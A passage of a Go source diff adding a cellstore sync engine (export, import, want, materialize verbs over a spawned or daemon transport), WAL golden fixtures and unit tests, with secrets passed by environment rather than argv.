c, TurnInfo{}) + if err != nil { + t.Fatal(err) + } + e := SyncEngine{ + Transport: Spawn{Binary: bin}, + Keys: SyncKeys{CellKey: make([]byte, 32), Dedup: make([]byte, 32)}, + Ledger: LedgerName("http://relay", "id_test"), + Target: func(c2 cell.Cell) Target { + return Target{Tree: store.tree(c2), DataDir: store.LocalDir(c2), CellDir: store.cellDir(c2)} + }, + Outbox: func(cell.Cell) string { return t.TempDir() }, + } + first, err := e.Export(context.Background(), c, sealed.Turn.ID) + if err != nil { + if strings.Contains(err.Error(), "export") && strings.Contains(err.Error(), "unrecognized") { + t.Skipf("engine has no sync verbs: %v", err) + } + t.Fatal(err) + } + if len(first.Frames) == 0 { + t.Fatal("first export sent nothing") + } + paths := make([]string, len(first.Frames)) + for i, f := range first.Frames { + paths[i] = f.Path + } + if err := e.Published(context.Background(), c, paths); err != nil { + t.Fatal(err) + } + second, err := e.Export(context.Background(), c, sealed.Turn.ID) + if err != nil || len(second.Frames) != 0 { + t.Fatalf("second export = %+v, %v", second, err) + } +} diff --git a/internal/cellstore/syncframes_test.go b/internal/cellstore/syncframes_test.go new file mode 100644 index 0000000000..63b6b634e3 --- /dev/null +++ b/internal/cellstore/syncframes_test.go @@ -0,0 +1,44 @@ +package cellstore + +import ( + "context" + "fmt" + "os" + "path/filepath" + "testing" + + "github.com/Agent-Field/codeaf/internal/cell" +) + +// TestExportPacksAFlushIntoFewFrames pins that one export carries every unsent +// object of a burst of tool calls in one frame, over every way the engine is +// reached. A request that says "no frame size" must mean the engine's default, +// because a size of zero would give each object a frame of its own and turn +// every object into a paid put at the relay. +func TestExportPacksAFlushIntoFewFrames(t *testing.T) { + forEachTransport(t, func(t *testing.T) { + e := realEngine(t) + c := newCell(t) + var head string + for i := range 12 { + name := filepath.Join(c.Root, fmt.Sprintf("f%02d.txt", i)) + if err := os.WriteFile(name, []byte(fmt.Sprintf("body %d", i)), 0o600); err != nil { + t.Fatal(err) + } + sealed, err := e.Seal(context.Background(), c, TurnInfo{}) + if err != nil { + t.Fatal(err) + } + head = sealed.Turn.ID + } + sync := e.Sync(SyncKeys{CellKey: make([]byte, 32), Dedup: make([]byte, 32)}, LedgerName("http://relay", "id_test")) + sync.Outbox = func(_ cell.Cell) string { return t.TempDir() } + out, err := sync.Export(context.Background(), c, head) + if err != nil { + t.Fatal(err) + } + if out.Objects < 12 || len(out.Frames) != 1 { + t.Fatalf("export of %d objects made %d frames, want 1", out.Objects, len(out.Frames)) + } + }) +} diff --git a/internal/cellstore/syncops.go b/internal/cellstore/syncops.go new file mode 100644 index 0000000000..82d8d50681 --- /dev/null +++ b/internal/cellstore/syncops.go @@ -0,0 +1,309 @@ +package cellstore + +import ( + "context" + "crypto/sha256" + "encoding/hex" + "encoding/json" + "fmt" + "os" + "path/filepath" + "strconv" + + "github.com/Agent-Field/codeaf/internal/cell" +) + +// Names the engine reads its two secrets from when it is spawned. +const ( + cellKeyEnv = "FURROW_CELL_KEY" + dedupEnv = "FURROW_DEDUP_SECRET" +) + +// SyncKeys are the identity's two secrets. They are handed to each verb and +// never stored: not on argv, not on disk. +type SyncKeys struct{ CellKey, Dedup []byte } + +// LedgerName names the published ledger of one (sync URL, identity) pair, so +// pointing at a new or wiped store starts an empty ledger. +func LedgerName(syncURL, identity string) string { + sum := sha256.Sum256([]byte(syncURL + "\n" + identity)) + return hex.EncodeToString(sum[:8]) +} + +// keyArgs is the pair of secrets as they travel: hex, in the daemon's JSON +// arguments or in the spawned engine's environment. Embedding it gives an Op +// both spellings at once. +type keyArgs struct { + CellKey string `json:"cell_key"` + Dedup string `json:"dedup"` +} + +func hexKeys(k SyncKeys) keyArgs { + return keyArgs{CellKey: hex.EncodeToString(k.CellKey), Dedup: hex.EncodeToString(k.Dedup)} +} + +// Env implements EnvOp. +func (k keyArgs) Env() []string { + return []string{cellKeyEnv + "=" + k.CellKey, dedupEnv + "=" + k.Dedup} +} + +// exportOp seals what a ledger has not yet recorded into frames in Outbox. +type exportOp struct { + Head string `json:"head"` + Outbox string `json:"outbox"` + Ledger string `json:"ledger"` + MaxFrame int `json:"max_frame,omitempty"` // omitted when 0, so the engine picks its default: a literal 0 would give every object its own frame + keyArgs +} + +func (exportOp) Verb() string { return "export" } + +func (o exportOp) Args() []string { + args := []string{"--json", "export", "--head", o.Head, "--outbox", o.Outbox, "--ledger", o.Ledger} + if o.MaxFrame > 0 { + args = append(args, "--max-frame", strconv.Itoa(o.MaxFrame)) + } + return args +} + +// publishedOp records uploaded frames in the ledger and deletes them. +type publishedOp struct { + Ledger string `json:"ledger"` + Frames []string `json:"frames"` +} + +func (publishedOp) Verb() string { return "published" } + +func (o publishedOp) Args() []string { + return append([]string{"--json", "published", "--ledger", o.Ledger}, o.Frames...) +} + +// wantOp asks which remote ids complete a head locally. +type wantOp struct { + Head string `json:"head"` + keyArgs +} + +func (wantOp) Verb() string { return "want" } + +func (o wantOp) Args() []string { return []string{"--json", "want", "--head", o.Head} } + +// importOp opens the objects fetched into Inbox and stores them. +type importOp struct { + Head string `json:"head"` + Inbox string `json:"inbox"` + // Ledger is the store the objects were fetched from: what it handed over + // is recorded as published there, so the next export never sends it back. + Ledger string `json:"ledger"` + // Primed relaxes one rule (contract §22.7): an inbox file no pass wanted is + // deleted, not an error. A take primes its inbox with whole frames, whose + // frame-mates the head may not want; the want loop's answers stay strict. + Primed bool `json:"primed,omitempty"` + // Partial is the take of an inbox still filling: the engine stores what the + // walk wants from what has arrived and leaves every other file in place. + // It excludes Primed. + Partial bool `json:"partial,omitempty"` + keyArgs +} + +func (importOp) Verb() string { return "import" } + +func (o importOp) Args() []string { + args := []string{"--json", "import", "--head", o.Head, "--inbox", o.Inbox, "--ledger", o.Ledger} + if o.Primed { + args = append(args, "--primed") + } + if o.Partial { + args = append(args, "--partial") + } + return args +} + +// materializeOp restores a head into the target tree. +type materializeOp struct { + Head string `json:"head"` +} + +func (materializeOp) Verb() string { return "materialize" } + +// composing marks the verb that reads the tree's composed .cell/ entry: the +// other four work on the store alone and the engine refuses a --cell-dir there. +type composing interface{ composesCellDir() } + +func (materializeOp) composesCellDir() {} + +func (o materializeOp) Args() []string { return []string{"--json", "materialize", "--head", o.Head} } + +// FrameFile is one frame the engine wrote to the outbox. +type FrameFile struct { + Path string `json:"path"` + Objects int `json:"objects"` + Bytes int64 `json:"bytes"` +} + +// Export is what one export produced. Its shape is the sync engine seam's +// (cellsync.Engine), which cellstore may not import: the sync package names +// these types as aliases so that SyncEngine satisfies its interface. +type Export struct { + Frames []FrameFile `json:"frames"` + HeadRID string `json:"head_rid"` + Objects int `json:"objects"` + Bytes int64 `json:"bytes"` +} + +// SyncEngine is the Go half of the sync engine: five verbs over a Transport, +// each on the cell's own device-local store. +type SyncEngine struct { + Transport Transport + Keys SyncKeys + // Ledger is LedgerName(sync URL, identity id). + Ledger string + // Target says where a cell's store and tree are. + Target func(c cell.Cell) Target + // Inbox is the device-local scratch directory a cell's fetched objects land in. + Inbox func(c cell.Cell) string + // MaxFrame bounds a frame's size; 0 takes the engine's default. + MaxFrame int + // Outbox is where a cell's frames are written; nil means a directory + // beside the cell's store. + Outbox func(c cell.Cell) string +} + +// Export implements the sync seam. +func (e SyncEngine) Export(ctx context.Context, c cell.Cell, head string) (Export, error) { + var out Export + op := exportOp{Head: head, Outbox: e.outbox(c), Ledger: e.Ledger, MaxFrame: e.MaxFrame, keyArgs: hexKeys(e.Keys)} + return out, e.ask(ctx, c, op, &out) +} + +// Published implements the sync seam. +func (e SyncEngine) Published(ctx context.Context, c cell.Cell, frames []string) error { + return e.ask(ctx, c, publishedOp{Ledger: e.Ledger, Frames: frames}, nil) +} + +// Want implements the sync seam. +func (e SyncEngine) Want(ctx context.Context, c cell.Cell, head string) ([]string, error) { + var out struct { + Want []string `json:"want"` + } + return out.Want, e.ask(ctx, c, wantOp{Head: head, keyArgs: hexKeys(e.Keys)}, &out) +} + +// Import implements the sync seam. +func (e SyncEngine) Import(ctx context.Context, c cell.Cell, head, inbox string) (int, error) { + return e.runImport(ctx, c, head, inbox, false) +} + +// ImportPrimed implements the sync seam: the import of a primed inbox, whose +// frame-mates are deleted rather than refused. +func (e SyncEngine) ImportPrimed(ctx context.Context, c cell.Cell, head, inbox string) (int, error) { + return e.runImport(ctx, c, head, inbox, true) +} + +// ImportPartial stores what the head wants from an inbox that is still filling +// and leaves every other file, so a take can import while frames download. +func (e SyncEngine) ImportPartial(ctx context.Context, c cell.Cell, head, inbox string) (int, error) { + return e.importWith(ctx, c, importOp{Head: head, Inbox: inbox, Ledger: e.Ledger, Partial: true}) +} + +func (e SyncEngine) runImport(ctx context.Context, c cell.Cell, head, inbox string, primed bool) (int, error) { + return e.importWith(ctx, c, importOp{Head: head, Inbox: inbox, Ledger: e.Ledger, Primed: primed}) +} + +func (e SyncEngine) importWith(ctx context.Context, c cell.Cell, op importOp) (int, error) { + op.keyArgs = hexKeys(e.Keys) + var out struct { + Imported int `json:"imported"` + } + return out.Imported, e.ask(ctx, c, op, &out) +} + +// Holds implements the sync seam: the ledger file the engine keeps beside the +// store is written by every export and import against this relay, so it has +// content exactly when the device has exchanged objects with the relay. +func (e SyncEngine) Holds(c cell.Cell) bool { + info, err := os.Stat(filepath.Join(e.Target(c).DataDir, "published."+e.Ledger)) + return err == nil && info.Size() > 0 +} + +// Materialize implements the sync seam. +// +// The engine answers with the names it could not write because this machine's +// file system keeps one of two names that differ only in case or accents; each +// is held out of later seals and recorded, so the person is told it was not +// brought along. +func (e SyncEngine) Materialize(ctx context.Context, c cell.Cell, head string) error { + var out struct { + Held []heldName `json:"held"` + } + // The restore brings the sender's policy file and record over this machine's, + // which would forget the names an earlier take set apart: they are read first + // and written back with this take's. + earlier := heldBefore(c, e.holdDir(c)) + if err := e.ask(ctx, c, materializeOp{Head: head}, &out); err != nil { + return err + } + if err := noteAdopted(c, head); err != nil { + return err + } + return noteHeld(c, e.holdDir(c), mergeHeld(earlier, out.Held)) +} + +// holdDir is where the cell's policy file lives: the composed .cell/ directory +// when there is one, else the cell's own folder (the rule of Engine.policyDir). +func (e SyncEngine) holdDir(c cell.Cell) string { + if dir := e.Target(c).CellDir; dir != "" { + return dir + } + return c.Root +} + +// targetFor is the cell's target as op needs it: only a composing verb is +// told where the composed .cell/ directory is. +func (e SyncEngine) targetFor(c cell.Cell, op Op) Target { + t := e.Target(c) + if _, ok := op.(composing); !ok { + t.CellDir = "" + } + return t +} + +// outbox is the cell's frame directory: the caller's choice, else a sibling +// of the store so frames stay on the store's filesystem. +func (e SyncEngine) outbox(c cell.Cell) string { + if e.Outbox != nil { + return e.Outbox(c) + } + return e.Target(c).DataDir + ".outbox" +} + +// ask runs one verb and decodes its ok object into out (nil ignores it). Every +// error names the verb and the cell, because a person is told which chat failed. +func (e SyncEngine) ask(ctx context.Context, c cell.Cell, op Op, out any) error { + raw, err := e.Transport.Do(ctx, e.targetFor(c, op), op) + if err != nil { + return fmt.Errorf("sync %s of cell %s: %w", op.Verb(), c.ID, err) + } + if out == nil { + return nil + } + if err := json.Unmarshal(raw, out); err != nil { + return fmt.Errorf("sync %s of cell %s: unreadable answer: %w", op.Verb(), c.ID, err) + } + return nil +} + +// Sync is the sync engine over this store: the same transport and the same +// per-cell directories the seals use, so an export reads exactly what a seal +// wrote. The inbox is device-local scratch beside the cell's store. +func (e Engine) Sync(keys SyncKeys, ledger string) SyncEngine { + return SyncEngine{ + Transport: e.transport(), + Keys: keys, + Ledger: ledger, + Target: func(c cell.Cell) Target { + return Target{Tree: e.tree(c), DataDir: e.LocalDir(c), CellDir: e.cellDir(c)} + }, + Inbox: func(c cell.Cell) string { return e.LocalDir(c) + ".inbox" }, + } +} diff --git a/internal/cellstore/syncops_test.go b/internal/cellstore/syncops_test.go new file mode 100644 index 0000000000..3fd4fdbe18 --- /dev/null +++ b/internal/cellstore/syncops_test.go @@ -0,0 +1,239 @@ +package cellstore + +import ( + "context" + "encoding/hex" + "encoding/json" + "errors" + "reflect" + "strings" + "testing" + + "github.com/Agent-Field/codeaf/internal/cell" +) + +const ( + testCellKey = "aa11aa11aa11aa11aa11aa11aa11aa11aa11aa11aa11aa11aa11aa11aa11aa11" + testDedup = "bb22bb22bb22bb22bb22bb22bb22bb22bb22bb22bb22bb22bb22bb22bb22bb22" +) + +func testKeys() SyncKeys { + return SyncKeys{CellKey: mustHex(testCellKey), Dedup: mustHex(testDedup)} +} + +func mustHex(s string) []byte { + b, err := hex.DecodeString(s) + if err != nil { + panic(err) + } + return b +} + +// scripted is a Transport that answers each verb with a canned reply and +// remembers what it was asked. +type scripted struct { + replies map[string]string + errs map[string]error + ops []Op + targets []Target +} + +func (s *scripted) Do(_ context.Context, t Target, op Op) ([]byte, error) { + s.ops, s.targets = append(s.ops, op), append(s.targets, t) + if err := s.errs[op.Verb()]; err != nil { + return nil, err + } + return []byte(s.replies[op.Verb()]), nil +} + +const rid = "0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef" + +var contractReplies = map[string]string{ + "export": `{"frames":[{"path":"/o/f1","objects":3,"bytes":900}],"head_rid":"` + rid + `","objects":3,"bytes":900}`, + "published": `{"recorded":3}`, + "want": `{"want":["` + rid + `"]}`, + "import": `{"imported":4}`, + "materialize": `{"snapshot":"` + rid + `"}`, +} + +func syncEngineOver(tr Transport) SyncEngine { + return SyncEngine{ + Transport: tr, Keys: testKeys(), Ledger: LedgerName("http://relay", "id_x"), + Target: func(c cell.Cell) Target { return Target{Tree: c.Root, DataDir: "/data/" + c.ID} }, + Inbox: func(c cell.Cell) string { return "/inbox/" + c.ID }, + } +} + +func TestSyncEngineOpsParseContractJSON(t *testing.T) { + c := cell.Cell{ID: "c1", Root: t.TempDir()} + tr := &scripted{replies: contractReplies} + e := syncEngineOver(tr) + ctx := context.Background() + + exp, err := e.Export(ctx, c, "h") + if err != nil { + t.Fatal(err) + } + wantExp := Export{Frames: []FrameFile{{Path: "/o/f1", Objects: 3, Bytes: 900}}, HeadRID: rid, Objects: 3, Bytes: 900} + if !reflect.DeepEqual(exp, wantExp) { + t.Fatalf("export = %+v", exp) + } + if err := e.Published(ctx, c, []string{"/o/f1"}); err != nil { + t.Fatal(err) + } + if got, err := e.Want(ctx, c, "h"); err != nil || !reflect.DeepEqual(got, []string{rid}) { + t.Fatalf("want = %v, %v", got, err) + } + if n, err := e.Import(ctx, c, "h", "/inbox/c1"); err != nil || n != 4 { + t.Fatalf("import = %d, %v", n, err) + } + if err := e.Materialize(ctx, c, "h"); err != nil { + t.Fatal(err) + } + if tr.targets[0].DataDir != "/data/c1" || tr.targets[0].Tree != c.Root { + t.Fatalf("target = %+v", tr.targets[0]) + } +} + +func TestSyncEngineDaemonArgsCarryKeys(t *testing.T) { + var cases = []struct { + op Op + want map[string]any + }{ + {exportOp{Head: "h", Outbox: "/o", Ledger: "l", MaxFrame: 7, keyArgs: hexKeys(testKeys())}, + map[string]any{"head": "h", "outbox": "/o", "ledger": "l", "max_frame": 7.0, "cell_key": testCellKey, "dedup": testDedup}}, + {publishedOp{Ledger: "l", Frames: []string{"/f"}}, + map[string]any{"ledger": "l", "frames": []any{"/f"}}}, + {wantOp{Head: "h", keyArgs: hexKeys(testKeys())}, + map[string]any{"head": "h", "cell_key": testCellKey, "dedup": testDedup}}, + {importOp{Head: "h", Inbox: "/i", Ledger: "L", keyArgs: hexKeys(testKeys())}, + map[string]any{"head": "h", "inbox": "/i", "ledger": "L", "cell_key": testCellKey, "dedup": testDedup}}, + {importOp{Head: "h", Inbox: "/i", Ledger: "L", Partial: true, keyArgs: hexKeys(testKeys())}, + map[string]any{"head": "h", "inbox": "/i", "ledger": "L", "partial": true, "cell_key": testCellKey, "dedup": testDedup}}, + {materializeOp{Head: "h"}, map[string]any{"head": "h"}}, + } + for _, tc := range cases { + var got map[string]any + if err := json.Unmarshal(newRequest(Target{}, tc.op).Args, &got); err != nil { + t.Fatal(err) + } + if !reflect.DeepEqual(got, tc.want) { + t.Errorf("%s args = %v, want %v", tc.op.Verb(), got, tc.want) + } + } +} + +func TestSyncEngineErrorsNameVerbAndCell(t *testing.T) { + c := cell.Cell{ID: "cell-9"} + boom := errors.New("engine refused") + e := syncEngineOver(&scripted{ + errs: map[string]error{"export": boom, "published": boom, "want": boom, "import": boom, "materialize": boom}, + replies: map[string]string{}, + }) + ctx := context.Background() + _, exportErr := e.Export(ctx, c, "h") + _, wantErr := e.Want(ctx, c, "h") + _, importErr := e.Import(ctx, c, "h", "/i") + for verb, err := range map[string]error{ + "export": exportErr, "want": wantErr, "import": importErr, + "published": e.Published(ctx, c, nil), "materialize": e.Materialize(ctx, c, "h"), + } { + if err == nil || !errors.Is(err, boom) || !strings.Contains(err.Error(), verb) || !strings.Contains(err.Error(), "cell-9") { + t.Errorf("%s error = %v", verb, err) + } + } +} + +func TestSyncEngineUnreadableAnswerNamesVerbAndCell(t *testing.T) { + e := syncEngineOver(&scripted{replies: map[string]string{"want": "not json"}}) + _, err := e.Want(context.Background(), cell.Cell{ID: "c7"}, "h") + if err == nil || !strings.Contains(err.Error(), "want") || !strings.Contains(err.Error(), "c7") { + t.Fatalf("err = %v", err) + } +} + +func TestSyncEngineSpawnKeepsKeysOffArgvAndInEnv(t *testing.T) { + var argv, environ []string + run := func(_ context.Context, _ string, env []string, a ...string) ([]byte, error) { + argv, environ = a, env + return []byte(contractReplies["want"]), nil + } + e := syncEngineOver(Spawn{Binary: "engine", Run: run}) + if _, err := e.Want(context.Background(), cell.Cell{ID: "c1"}, "h"); err != nil { + t.Fatal(err) + } + if strings.Contains(strings.Join(argv, " "), testCellKey) || strings.Contains(strings.Join(argv, " "), testDedup) { + t.Fatalf("a key is on argv: %v", argv) + } + if !contains(environ, "FURROW_CELL_KEY="+testCellKey) || !contains(environ, "FURROW_DEDUP_SECRET="+testDedup) { + t.Fatalf("keys missing from env") + } + if want := []string{"engine", "--json", "want", "--head", "h"}; !reflect.DeepEqual(argv, want) { + t.Fatalf("argv = %v", argv) + } +} + +func TestSyncEngineSpawnLeavesKeylessVerbsWithoutKeys(t *testing.T) { + var environ []string + run := func(_ context.Context, _ string, env []string, _ ...string) ([]byte, error) { + environ = env + return []byte(`{"snapshot":"s"}`), nil + } + e := syncEngineOver(Spawn{Binary: "engine", Run: run}) + if err := e.Materialize(context.Background(), cell.Cell{ID: "c1", Root: t.TempDir()}, "h"); err != nil { + t.Fatal(err) + } + for _, kv := range environ { + if strings.HasPrefix(kv, "FURROW_CELL_KEY=") && strings.Contains(kv, testCellKey) { + t.Fatalf("materialize carried a key") + } + } +} + +func TestSyncEngineExportArgsSpellTheContract(t *testing.T) { + op := exportOp{Head: "h", Outbox: "/o", Ledger: "l", MaxFrame: 5} + want := []string{"--json", "export", "--head", "h", "--outbox", "/o", "--ledger", "l", "--max-frame", "5"} + if !reflect.DeepEqual(op.Args(), want) { + t.Fatalf("args = %v", op.Args()) + } + if got := (exportOp{Head: "h", Outbox: "/o", Ledger: "l"}).Args(); len(got) != 8 { + t.Fatalf("default frame size must be left to the engine: %v", got) + } + if got := (publishedOp{Ledger: "l", Frames: []string{"/a", "/b"}}).Args(); !reflect.DeepEqual(got, []string{"--json", "published", "--ledger", "l", "/a", "/b"}) { + t.Fatalf("published args = %v", got) + } +} + +func TestLedgerNameFollowsStore(t *testing.T) { + a := LedgerName("http://one", "id_x") + if len(a) != 16 || strings.Trim(a, "0123456789abcdef") != "" { + t.Fatalf("ledger %q is not 16 lowercase hex", a) + } + if a != LedgerName("http://one", "id_x") { + t.Fatal("ledger is not stable") + } + if a == LedgerName("http://two", "id_x") || a == LedgerName("http://one", "id_y") { + t.Fatal("a new store or identity must name a new ledger") + } +} + +func contains(list []string, s string) bool { + for _, x := range list { + if x == s { + return true + } + } + return false +} + +func TestImportOpPartialArgIsPartialOnly(t *testing.T) { + op := importOp{Head: "h", Inbox: "/i", Ledger: "L", Partial: true} + if got := op.Args(); got[len(got)-1] != "--partial" { + t.Fatalf("args = %v, want trailing --partial", got) + } + for _, arg := range (importOp{Head: "h", Inbox: "/i", Ledger: "L"}).Args() { + if arg == "--partial" { + t.Fatal("a strict import must not carry --partial") + } + } +} diff --git a/internal/cellstore/testdata/wal.done.golden.json b/internal/cellstore/testdata/wal.done.golden.json new file mode 100644 index 0000000000..621f476113 --- /dev/null +++ b/internal/cellstore/testdata/wal.done.golden.json @@ -0,0 +1 @@ +{"V":1,"op":"done","intent":{"V":1,"tool":"bash","args_hash":"d1f0","started":1759049981200,"side_effect":"external"},"done":{"call":{"tool":"bash","args_hash":"d1f0","started":1759049981200,"ended":1759049981940,"exit":0,"stdout_hash":"0a1b","stderr_hash":"e3b0","side_effect":"external"},"services":[{"pid":4711,"argv":["postgres"],"ports":[5432]}],"exact":false,"trigger":"Setup","changed":["var/pg"],"stdout":"b2s=","stderr":"d2Fybg=="}} diff --git a/internal/cellstore/testdata/wal.group.golden.json b/internal/cellstore/testdata/wal.group.golden.json new file mode 100644 index 0000000000..5cb8bfd1cc --- /dev/null +++ b/internal/cellstore/testdata/wal.group.golden.json @@ -0,0 +1 @@ +{"V":2,"op":"group","intent":{"V":2,"tool":"bash","args_hash":"d1f0","started":1759049981200,"side_effect":"local","brief":"sleep 150"},"group":{"pgid":4711,"start":377568552,"owner":4700,"owner_start":377567646}} diff --git a/internal/cellstore/testdata/wal.intent.golden.json b/internal/cellstore/testdata/wal.intent.golden.json new file mode 100644 index 0000000000..5ed0358ef3 --- /dev/null +++ b/internal/cellstore/testdata/wal.intent.golden.json @@ -0,0 +1 @@ +{"V":1,"op":"intent","intent":{"V":1,"tool":"bash","args_hash":"d1f0","started":1759049981200,"side_effect":"external"}} diff --git a/internal/cellstore/testdata/wal.intent.v2.golden.json b/internal/cellstore/testdata/wal.intent.v2.golden.json new file mode 100644 index 0000000000..d42821d86d --- /dev/null +++ b/internal/cellstore/testdata/wal.intent.v2.golden.json @@ -0,0 +1 @@ +{"V":2,"op":"intent","intent":{"V":2,"tool":"bash","args_hash":"d1f0","started":1759049981200,"side_effect":"local","brief":"sleep 150"}} diff --git a/internal/cellstore/testdata/wal.resolved.golden.json b/internal/cellstore/testdata/wal.resolved.golden.json new file mode 100644 index 0000000000..8f25c8b353 --- /dev/null +++ b/internal/cellstore/testdata/wal.resolved.golden.json @@ -0,0 +1 @@ +{"V":1,"op":"resolved","intent":{"V":1,"tool":"bash","args_hash":"d1f0","started":1759049981200,"side_effect":"external"}} diff --git a/internal/cellstore/transport.go b/internal/cellstore/transport.go new file mode 100644 index 0000000000..caf4d44b8e --- /dev/null +++ b/internal/cellstore/transport.go @@ -0,0 +1,151 @@ +package cellstore + +import ( + "bytes" + "context" + "errors" + "fmt" + "os" + "os/exec" + "path/filepath" + "strings" + + "github.com/Agent-Field/codeaf/internal/env" + "github.com/Agent-Field/codeaf/internal/home" +) + +// daemonEnv turns the engine daemon off when set to 0: every verb then spawns +// the engine, which is always correct and only slower. +const daemonEnv = "CODEAF_ENGINE_DAEMON" + +// Target names the store a verb works on: the engine's data directory, the +// tree it seals or restores, and the directory composed in as that tree's +// .cell/ entry (empty when the tree is the cell's own folder). +type Target struct { + Tree, DataDir, CellDir string +} + +// Op is one engine verb. It knows its own two spellings: the daemon's JSON +// arguments (its struct tags) and the engine's command line. +type Op interface { + // Verb is the daemon's name for the operation. + Verb() string + // Args is the operation as engine command-line arguments, without the + // composed directory, which a Transport adds. + Args() []string +} + +// Transport carries one Op to the engine and answers what the engine printed. +type Transport interface { + Do(ctx context.Context, t Target, op Op) ([]byte, error) +} + +// ErrUnavailable means the transport could not reach an engine at all. It is +// the one error that a Fallback answers by trying its next transport; an +// engine that ran and refused is an answer, not an absence. +var ErrUnavailable = errors.New("engine unavailable") + +// Spawn is the Transport that runs the engine program once per verb. +type Spawn struct { + // Binary is the engine program; empty means the configured or embedded + // engine, checked to be able to seal (see sealingEngine). + Binary string + // Run runs the program; nil spawns it. Tests count and fake spawns here. + Run Runner +} + +var _ Transport = Spawn{} + +// Do implements Transport. +func (s Spawn) Do(ctx context.Context, t Target, op Op) ([]byte, error) { + bin, err := s.program() + if err != nil { + return nil, err + } + argv := append([]string{bin}, op.Args()...) + if t.CellDir != "" { + argv = append(argv, cellDirArg(t.CellDir)...) + } + environ := append(os.Environ(), dataDirEnv+"="+t.DataDir) + return s.run(ctx, t.Tree, append(environ, opEnv(op)...), argv...) +} + +// EnvOp is an Op that carries secrets. A spawn hands them to the engine +// through its environment, because argv is readable in ps; the daemon takes +// them in the request's JSON arguments instead. +type EnvOp interface { + Op + // Env is the NAME=value pairs the engine program needs. + Env() []string +} + +// opEnv is the environment an Op adds to a spawn: nothing unless it is an EnvOp. +func opEnv(op Op) []string { + if e, ok := op.(EnvOp); ok { + return e.Env() + } + return nil +} + +func (s Spawn) program() (string, error) { + if s.Binary != "" { + return s.Binary, nil + } + return sealingEngine() +} + +func (s Spawn) run(ctx context.Context, dir string, environ []string, argv ...string) ([]byte, error) { + if s.Run != nil { + return s.Run(ctx, dir, environ, argv...) + } + return spawn(ctx, dir, environ, argv...) +} + +// spawn is the default Runner. Stderr comes back in the error, because the +// engine's own wording is what a person will act on. +func spawn(ctx context.Context, dir string, env []string, argv ...string) ([]byte, error) { + cmd := exec.CommandContext(ctx, argv[0], argv[1:]...) //codeaf:plumbing the seal drives the embedded engine + cmd.Dir, cmd.Env = dir, env + var out, errb bytes.Buffer + cmd.Stdout, cmd.Stderr = &out, &errb + if err := cmd.Run(); err != nil { + return nil, fmt.Errorf("%s: %w: %s", filepath.Base(argv[0]), err, strings.TrimSpace(errb.String())) + } + return out.Bytes(), nil +} + +// Fallback tries Primary and, only when it is unavailable, Secondary. +type Fallback struct{ Primary, Secondary Transport } + +var _ Transport = Fallback{} + +// Do implements Transport. +func (f Fallback) Do(ctx context.Context, t Target, op Op) ([]byte, error) { + out, err := f.Primary.Do(ctx, t, op) + if errors.Is(err, ErrUnavailable) { + return f.Secondary.Do(ctx, t, op) + } + return out, err +} + +// transportFor is the one place a Transport is chosen: the daemon with the +// spawn as its fallback, or the spawn alone when the daemon is off or the +// caller supplies its own Runner (which is a promise to see every spawn). +func transportFor(binary string, run Runner) Transport { + direct := Spawn{Binary: binary, Run: run} + if run != nil || env.Get(daemonEnv) == "0" { + return direct + } + // With no engine to name, the daemon cannot start and the spawn reports the + // missing engine in its own words. + bin, _ := Spawn{Binary: binary}.program() + return Fallback{Primary: Daemon{Socket: socketFor(bin), Binary: bin}, Secondary: direct} +} + +// socketFor names the daemon's socket after the engine binary, whose file name +// is already unique per build (furrow--). Two engine builds then +// never share a daemon, so a daemon left over from an upgrade is never asked +// to run the new store logic; it idles out on its own. +func socketFor(bin string) string { + return home.Join("v3", "engine-"+strings.TrimPrefix(filepath.Base(bin), "furrow-")+".sock") +} diff --git a/internal/cellstore/turn.go b/internal/cellstore/turn.go new file mode 100644 index 0000000000..63576c605d --- /dev/null +++ b/internal/cellstore/turn.go @@ -0,0 +1,37 @@ +package cellstore + +import "time" + +// newTurn is the ONLY constructor of Turn (law L2): a turn exists because the +// harness sealed a snapshot, and every field is derived from that seal. +func newTurn(snapshot, parent string, at time.Time, info TurnInfo, receipt string, id Identity) Turn { + return Turn{ + V: schemaV, + ID: snapshot, + Parent: parent, + SealedAtMs: at.UnixMilli(), + Quality: quality(info), + Trigger: triggerOf(info), + Device: id.Device, + Fence: id.Fence, + Receipt: receipt, + } +} + +func triggerOf(info TurnInfo) Trigger { + if info.Trigger == "" { + return AgentRun + } + return info.Trigger +} + +// Identity names the writer of a seal: the device key and the lease fence it +// seals under. Stage 0 has neither a key nor a lease, so the zero Identity +// (an all-zero device, fence 0) is what it uses. +type Identity struct { + Device string + Fence uint64 +} + +// zeroDevice is a device key of 32 zero bytes, in hex. +const zeroDevice = "0000000000000000000000000000000000000000000000000000000000000000" diff --git a/internal/cellstore/types.go b/internal/cellstore/types.go new file mode 100644 index 0000000000..d2b5d68597 --- /dev/null +++ b/internal/cellstore/types.go @@ -0,0 +1,148 @@ +package cellstore + +import ( + "context" + + "github.com/Agent-Field/codeaf/internal/cell" +) + +const schemaV = 1 + +// Cell-relative paths of the files this package persists inside a cell. +const ( + ReceiptsDir = cell.StateDir + "/receipts" + BlobsDir = cell.StateDir + "/blobs" + TurnsPath = cell.StateDir + "/turns.jsonl" +) + +// Quality is the seal's exactness (SCHEMAS.md 1): Quiescent when no call left +// a process running, Turbulent otherwise. +type Quality string + +const ( + Quiescent Quality = "Quiescent" + Turbulent Quality = "Turbulent" +) + +// Trigger is why the turn exists. Setup turns are the agent installing what +// preflight listed. +type Trigger string + +const ( + AgentRun Trigger = "AgentRun" + Setup Trigger = "Setup" +) + +// Turn is one sealed commit. Field order is the wire order and V is first (L11). +// Times are unix milliseconds (SCHEMAS.md ruling 6). Build one with newTurn only. +type Turn struct { + V uint16 `json:"V"` + ID string `json:"id"` + Parent string `json:"parent,omitempty"` + MergeParents []string `json:"merge_parents,omitempty"` + SealedAtMs int64 `json:"sealed_at_ms"` + Quality Quality `json:"quality"` + Trigger Trigger `json:"trigger"` + Device string `json:"device"` + Fence uint64 `json:"fence"` + Receipt string `json:"receipt"` + ExcludedPaths []string `json:"excluded_paths,omitempty"` +} + +// Range is a byte range, end exclusive. +type Range struct { + Start int64 `json:"start"` + End int64 `json:"end"` +} + +// Call is one tool call in a receipt. For a call whose SideEffect is external +// the output also lives at BlobsDir/ (SCHEMAS.md ruling 3). +type Call struct { + Tool string `json:"tool"` + ArgsHash string `json:"args_hash"` + Started int64 `json:"started"` + Ended int64 `json:"ended"` + Exit int `json:"exit"` + StdoutHash string `json:"stdout_hash"` + StderrHash string `json:"stderr_hash"` + SideEffect string `json:"side_effect"` +} + +// ServiceRec 